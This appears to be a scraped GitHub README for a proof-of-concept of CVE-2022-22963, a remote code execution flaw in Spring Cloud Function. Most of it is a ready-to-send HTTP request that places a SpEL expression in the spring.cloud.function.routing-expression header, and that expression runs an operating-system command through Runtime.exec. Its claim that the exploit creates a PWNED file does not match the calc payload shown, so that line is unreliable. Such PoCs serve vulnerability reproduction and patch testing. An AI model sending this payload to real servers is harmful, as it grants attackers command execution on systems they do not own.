Skip to content

Latest commit

 

History

History
30 lines (20 loc) · 796 Bytes

README.md

File metadata and controls

30 lines (20 loc) · 796 Bytes

CVE-2022-22963 RCE PoC

Minimal example to reproduce CVE-2022-22963 remote code execution in org.springframework.cloud:spring-cloud-function-core.

Exploit

Run the server

直接用idea 打开启动就可以了

Make a request

POST /xxx HTTP/1.1
Host: test.com:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

As a result of the exploit file PWNED will be crated nearby pom.xml.

Additional info